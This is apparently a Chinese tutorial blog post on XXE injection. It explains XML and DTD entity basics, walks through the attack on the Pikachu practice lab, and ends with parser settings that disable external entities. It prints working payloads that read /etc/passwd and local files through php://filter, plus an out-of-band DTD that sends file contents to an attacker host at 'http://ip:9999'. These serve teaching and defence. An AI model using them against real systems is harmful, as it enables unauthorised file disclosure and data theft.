赞
踩
XXE(XML External Entity Injection)又称为“XML外部实体注入漏洞”。
当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。
XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
主要分为三部分:
文档类型定义(Document Type Definition,DTD),即XML的布局语言;
可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;
可扩展链接语言(Extensible Link Language,XLL)。
XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:元素、属性、实体、PCDATA、CDATA
实体是用来定义普通文本的变量。实体引用是对实体的引用。
实体又分为一般实体和参数实体。
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<abc>&test;</abc>
在XML实体中适用
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
%dtd;
%send;
]>
<a></a>
PCDATA 的意思是被解析的字符数据(parsed character data)。
在DTD中,指定某个标签中的内容是字符数据。由于它的内容也是需要解析器来解析的,所有仍然需要转换>, <, &, ', "这5个特殊字符。
在DTD中声明:
<!ELEMENT name (#PCDATA)>
它表示在<name>和</name>标签之间可以插入字符或者子标签。
CDATA 的意思是字符数据(character data),CDATA 是不会被解析器解析的文本。
在DTD中,指定标签中某个属性的类型为字符型。如果需要使用>, <, &, ', "这5个特殊字符,应当用对应的替代替代字符来表示
在DTD中声明:
<!ATTLIST a b CDATA>
它表示在a这个标签中,b属性应该是字符类型。
比如 <a b="female">
在XML中声明:
<![CDATA[
if(i<10){
System.out.println("i<10");
}
]]>
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
DTD实体中,又分为内部实体声明和外部实体声明。
DTD 实例:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
XML 实例:
<author>&writer;©right;</author>
DTD 实例:
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
XML 实例:
<author>&writer;©right;</author>
以pichaku靶场为例。
直接抓包,定义回显内容为dsfdsfsf(标签可以自定义)
放包,内容会回显到页面。
或者直接输入payload,又分为两种,内部实体和外部实体。
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<abc>&test;</abc>
当读取的数据存在特殊符号的时候,我们可以用<![CDATA[...]]>,因为XML中不允许出现特殊符号。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
evil.dtd
<!ENTITY all "%start;%goodies;%end;">
调用过程:%dtd调用了了http://ip/evil.dtd文件,然后&all;调用文件中的%start;%goodies;%end;
<?xml version="1.0"?>
<!DOCTYPE note [ <!ENTITY cc "qq"> ]>
<nn>&cc;</nn>
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "file:///d:/evil.dtd">
%dtd;%payload;%send;
]>
<a></a>
evil.dtd
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://ip:9999?content=%file;'>">
这里evil.dtd中send前面百分号要进行html实体编码,因为实体的值中不能出现%
方案:使用开发语言提供的禁用外部实体的方法
libxml_disable_entity_loader(true);
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
参考资料:
https://blog.csdn.net/bylfsj/article/details/101441734
https://www.cnblogs.com/backlion/p/9302528.html
https://www.bilibili.com/video/BV1Hh411C7oT?from=search&seid=17532396550623932836&spm_id_from=333.337.0.0
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。